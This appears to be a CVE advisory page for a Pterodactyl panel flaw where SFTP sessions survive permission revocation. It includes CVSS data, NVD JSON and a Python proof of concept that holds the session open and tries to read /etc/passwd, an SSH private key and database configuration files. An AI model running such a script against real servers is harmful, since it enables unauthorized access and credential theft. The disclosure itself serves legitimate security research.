Security Vulnerability Report
中文
CVE-2025-68954 CVSS 5.4 MEDIUM

CVE-2025-68954

Published: 2026-01-06 01:16:01
Last Modified: 2026-01-12 21:29:13

Description

Pterodactyl is a free, open-source game server management panel. Versions 1.11.11 and below do not revoke active SFTP connections when a user is removed from a server instance or has their permissions changes with respect to file access over SFTP. This allows a user that was already connected to SFTP to remain connected and access files even after their permissions are revoked. A user must have been connected to SFTP at the time of their permissions being revoked in order for this vulnerability to be exploited. This issue is fixed in version 1.12.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pterodactyl:panel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:pterodactyl:wings:*:*:*:*:*:*:*:* - VULNERABLE
Pterodactyl Panel < 1.11.11
Pterodactyl Panel 1.11.11
Pterodactyl Panel 1.11.x (all versions)
Pterodactyl Panel 1.10.x
Pterodactyl Panel 1.9.x
Pterodactyl Panel 1.8.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68954 PoC - Pterodactyl SFTP Permission Revocation Bypass Note: This PoC demonstrates the vulnerability concept for authorized security testing only """ import paramiko import time import threading class PterodactylSFTPVulnerability: def __init__(self, host, port, username, password): self.host = host self.port = port self.username = username self.password = password self.ssh_client = None self.sftp = None self.connected = False def connect(self): """Establish initial SFTP connection""" try: self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh_client.connect( self.host, port=self.port, username=self.username, password=self.password, timeout=10 ) self.sftp = self.ssh_client.open_sftp() self.connected = True print(f"[+] SFTP connection established as {self.username}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def keep_alive(self, interval=30): """Background thread to maintain SFTP connection""" def maintain(): while self.connected: try: # List directory to verify connection is alive self.sftp.listdir('/') print(f"[*] SFTP session active - {time.strftime('%Y-%m-%d %H:%M:%S')}") time.sleep(interval) except Exception as e: print(f"[-] Connection lost: {e}") self.connected = False break thread = threading.Thread(target=maintain, daemon=True) thread.start() def access_file(self, filepath): """Attempt to access file after permission revocation""" if not self.connected: print("[-] Not connected") return None try: # Try to read file content with self.sftp.open(filepath, 'r') as f: content = f.read() print(f"[+] Successfully accessed: {filepath}") return content except PermissionError: print(f"[-] Access denied for: {filepath}") return None except FileNotFoundError: print(f"[-] File not found: {filepath}") return None except Exception as e: print(f"[-] Error accessing {filepath}: {e}") return None def disconnect(self): """Close SFTP connection""" if self.sftp: self.sftp.close() if self.ssh_client: self.ssh_client.close() self.connected = False print("[*] Connection closed") def main(): # Configuration - replace with actual target information target = { 'host': 'pterodactyl.example.com', 'port': 2022, 'username': 'exploit_user', 'password': 'user_password' } print("=" * 60) print("CVE-2025-68954 - Pterodactyl SFTP Permission Bypass PoC") print("=" * 60) # Step 1: Establish initial SFTP connection exploit = PterodactylSFTPVulnerability( target['host'], target['port'], target['username'], target['password'] ) if not exploit.connect(): return # Step 2: Start connection maintenance thread exploit.keep_alive(interval=30) print("\n[*] SFTP session is being maintained...") print("[*] Simulating scenario where admin revokes permissions...") # Step 3: Wait for permission revocation (simulated) # In real attack: attacker waits for admin action time.sleep(5) # Step 4: Attempt to access files after "permission revocation" print("\n[*] Attempting to access files after permission revocation...") sensitive_paths = [ '/etc/passwd', '/home/container/.ssh/id_rsa', '/var/www/pterodactyl/config/database.php', '/srv/docker/daemon/config.yml' ] for path in sensitive_paths: exploit.access_file(path) # Keep connection alive for demonstration print("\n[*] SFTP session remains active despite permission changes") print("[*] Press Ctrl+C to terminate") try: while exploit.connected: time.sleep(1) except KeyboardInterrupt: exploit.disconnect() if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68954", "sourceIdentifier": "[email protected]", "published": "2026-01-06T01:16:01.387", "lastModified": "2026-01-12T21:29:12.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pterodactyl is a free, open-source game server management panel. Versions 1.11.11 and below do not revoke active SFTP connections when a user is removed from a server instance or has their permissions changes with respect to file access over SFTP. This allows a user that was already connected to SFTP to remain connected and access files even after their permissions are revoked. A user must have been connected to SFTP at the time of their permissions being revoked in order for this vulnerability to be exploited. This issue is fixed in version 1.12.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pterodactyl:panel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "6163FD74-C4E9-4B5C-82B5-9BB139F9FE9D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pterodactyl:wings:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "D0892774-9788-48C8-A188-A1A6373735F0"}]}]}], "references": [{"url": "https://github.com/pterodactyl/panel/commit/2bd9d8baddb0e0606e4a9d5be402f48678ac88d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pterodactyl/panel/releases/tag/v1.12.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-8c39-xppg-479c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}